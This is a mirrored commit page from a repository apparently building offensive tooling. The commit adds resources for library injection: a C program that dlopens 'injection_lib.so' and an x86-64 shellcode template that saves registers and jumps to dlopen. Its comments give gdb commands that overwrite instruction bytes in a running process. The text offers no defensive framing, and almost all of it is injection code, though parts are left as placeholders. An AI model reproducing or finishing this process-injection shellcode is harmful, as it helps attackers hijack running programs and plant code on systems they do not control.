mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-28 04:13:08 +08:00
Updated helpers and added resources to help with lib injection
This commit is contained in:
BIN
resources/example_dlopen
Executable file
BIN
resources/example_dlopen
Executable file
Binary file not shown.
15
resources/example_dlopen.c
Normal file
15
resources/example_dlopen.c
Normal file
@@ -0,0 +1,15 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
int main(int argc, char* argv[]){
|
||||
|
||||
void *handle = dlopen("/home/osboxes/TFG/src/helpers/injection_lib.so", RTLD_LAZY);
|
||||
|
||||
if(handle==NULL){
|
||||
perror(dlerror());
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
13
resources/libinjection_shellcode.asm
Normal file
13
resources/libinjection_shellcode.asm
Normal file
@@ -0,0 +1,13 @@
|
||||
<nop>
|
||||
push rax # 50
|
||||
push rdx # 52
|
||||
push rsi # 56
|
||||
push rdi # 57
|
||||
mov rax, <dlopen> # 48b8 <addr little endian> --> gdb: set *(int64_t *)0x402e95 = 0x7FFFF7D89560B848
|
||||
jmp rax # ffe0 --> gdb: set *(int64_t *)0x402e9d = 0xe0ff0000
|
||||
|
||||
pop rdi
|
||||
pop rsi
|
||||
pop rdx
|
||||
pop rax
|
||||
ret
|
||||
Reference in New Issue
Block a user